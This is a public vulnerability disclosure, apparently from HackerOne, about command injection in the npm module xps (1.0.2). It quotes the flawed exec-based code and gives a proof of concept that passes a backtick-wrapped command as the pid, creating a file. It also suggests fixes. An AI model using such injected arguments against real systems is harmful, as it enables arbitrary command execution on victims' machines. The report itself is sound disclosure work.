HexBrain

Node.js third-party modules · Report #865168

[xps] Command Injection via insecure command concatenation

Validstatus
criticalseverity
23 Jul 2020disclosed

How it was found

I would like to report a Command Injection issue in the xps module. It allows to execute arbitrary commands on the victim's PC.

Module

module name: xps version: 1.0.2 npm page: https://www.npmjs.com/package/xps

Module Description

xps is a cross-platform library for listing and killing processes.

Module Stats

[10] weekly downloads

Vulnerability

Vulnerability Description

The issue occurs because a user input parameter is used inside a command that is executed without any check.

Here's the code which causes the issue:

// https://github.com/robotlolita/xps/blob/master/lib/linux.js#L48
...
var shell = require('./utils').shell;
... 
exports.kill = kill;
function kill(pid) {
  return shell('kill', ['-9', pid]).map(K(undefined));  // <-- user's input
}

// --------------------------------------------------
// https://github.com/robotlolita/xps/blob/master/lib/utils.js#L26
...
var exec    = require('child_process').exec;
...
var escapeArg = JSON.stringify;
...
exports.shell = shell;
function shell(cmd, args) {
  var command = cmd + ' ' + args.map(unary(compose(escapeArg)(String))).join(' '); // <-- injection
  return new Task(function(reject, resolve) {
    exec(command, function(error, stdout, stderr) {
      if (error)  reject(error);
      else        resolve({ output: stdout, error: stderr });
    });
  });
}

The argument pid is used to build the command that is passed to the child_process.exec function without any sanitization.

Steps To Reproduce:

  • create a directory for testing

    • mkdir poc
    • cd poc/
  • install xps module:

    • npm i xps
  • create the following PoC JavaScript file (poc.js):

const ps = require('xps');
ps.kill('`touch HACKED;`').fork();
  • make sure that the HACKED file does not exist:
    • ls
  • execute the poc.js file:
    • node poc.js
  • the HACKED file is created:
    • ls

{F813050}

Patch

Do not concatenate/format commands using insecure user's input. Always check and sanitize it. In my opinion, it's better to use child_process.execFile or child_process.spawn functions instead of child_process.exec. In this case it could be helpful to parse the pid as integer (var pid = parseInt(pid)).

Supporting Material/References:

  • OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
  • NODEJS VERSION: v14.1.0
  • NPM VERSION: 6.14.4

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Thank you for your time.

best regards,

d3lla

Impact

Command Injection on a xps module via insecure command concatenation.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original